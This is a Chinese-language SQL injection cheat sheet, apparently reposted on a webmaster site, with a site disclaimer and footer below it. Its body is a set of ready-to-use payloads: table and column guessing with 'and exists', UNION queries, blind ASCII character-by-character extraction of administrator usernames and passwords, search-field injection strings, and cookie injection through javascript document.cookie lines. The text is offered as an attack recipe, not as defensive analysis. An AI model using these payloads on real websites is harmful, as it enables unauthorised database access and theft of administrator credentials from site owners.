| 猜解表名：
and exists (select * from 表名) 猜解列名： and exists (select 字段 from 表名) UNION法： 聯(lián)合查詢： select name,password,id from user union select user,pwd,uid from 爆指定表名內(nèi)容： and 1=1 union select 1,2,3,4,5 from 表名 ASCII逐字解碼法： 1、猜解列長(zhǎng)度 猜解語(yǔ)句： and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N 其中N是數(shù)字，變換這個(gè)N的值猜解列長(zhǎng)度，例如： and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6 如果一直猜到6都顯示正常頁(yè)面，猜到7的時(shí)候返回錯(cuò)誤（大于6并且小于等于7），那么該列的長(zhǎng)度為7。因?yàn)椤皌op 1”的意思是把最靠前的1條記錄給提取出來(lái)，所以如果要猜解第二條記錄就該使用： select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名) 2、ASCII碼分析法猜解用戶和密碼 ASC()函數(shù)和Mid函數(shù) 例如：mid(列名,N,1) ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼 猜解語(yǔ)句為： and (select top 1 asc(mid(字段,1,1)) from 數(shù)據(jù)庫(kù)名)=ASC碼(通過轉(zhuǎn)換工具換) 區(qū)間判斷語(yǔ)句： “......between......and......” 中文處理法: 當(dāng)ASCII轉(zhuǎn)換后為“負(fù)數(shù)”使用abs()函數(shù)取絕對(duì)值。 例：and (select top 1 abs(asc(mid(字段,1,1))) from 數(shù)據(jù)庫(kù)名)=ASC碼(通過轉(zhuǎn)換工具換) ASCII逐字解碼法的應(yīng)用： 1、猜解表名： and (select count(*) from admin)<>0 2、猜解列名： and (select count(列名) from 表名)<>0 3、猜解管理員用戶個(gè)數(shù)： and (select count(*) from 表名)=1 返回正常，表中有一條記錄。 4、猜解管理員用戶名的長(zhǎng)度： and (select len(列名) from 表名)>=1、>=2、>=3、>=4。 5、猜解管理員用戶名： and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0 最后提交： and (select asc(mid(列名,1,1)) from 表名)=ascii的值 6、猜解管理員的密碼： 按照上面的原理，只要把上面的語(yǔ)句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。 搜索型注入漏洞利用猜解語(yǔ)句： 關(guān)鍵字%' and 1=1 and '%'='% 關(guān)鍵字%' and 1=2 and '%'='% 將and 1=1 換成注入語(yǔ)句就可以了。 cookie注入語(yǔ)句: javascript:alert(document.cookie="id=" escape("44 and 1=1")); javascript:alert(document.cookie="id=" escape("44 and 1=2")); 猜解語(yǔ)句: 猜解長(zhǎng)度: javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16")) 猜解內(nèi)容: javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97")) |
免責(zé)聲明：本站部分文章和圖片均來(lái)自用戶投稿和網(wǎng)絡(luò)收集，旨在傳播知識(shí)，文章和圖片版權(quán)歸原作者及原出處所有，僅供學(xué)習(xí)與參考，請(qǐng)勿用于商業(yè)用途，如果損害了您的權(quán)利，請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝！
始終以前瞻性的眼光聚焦站長(zhǎng)、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域，為您提供最新最全的互聯(lián)網(wǎng)資訊，幫助站長(zhǎng)轉(zhuǎn)型升級(jí)，為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營(yíng)銷服務(wù)，與站長(zhǎng)一起進(jìn)步！讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)！
掃一掃，關(guān)注站長(zhǎng)網(wǎng)微信
大家都在看
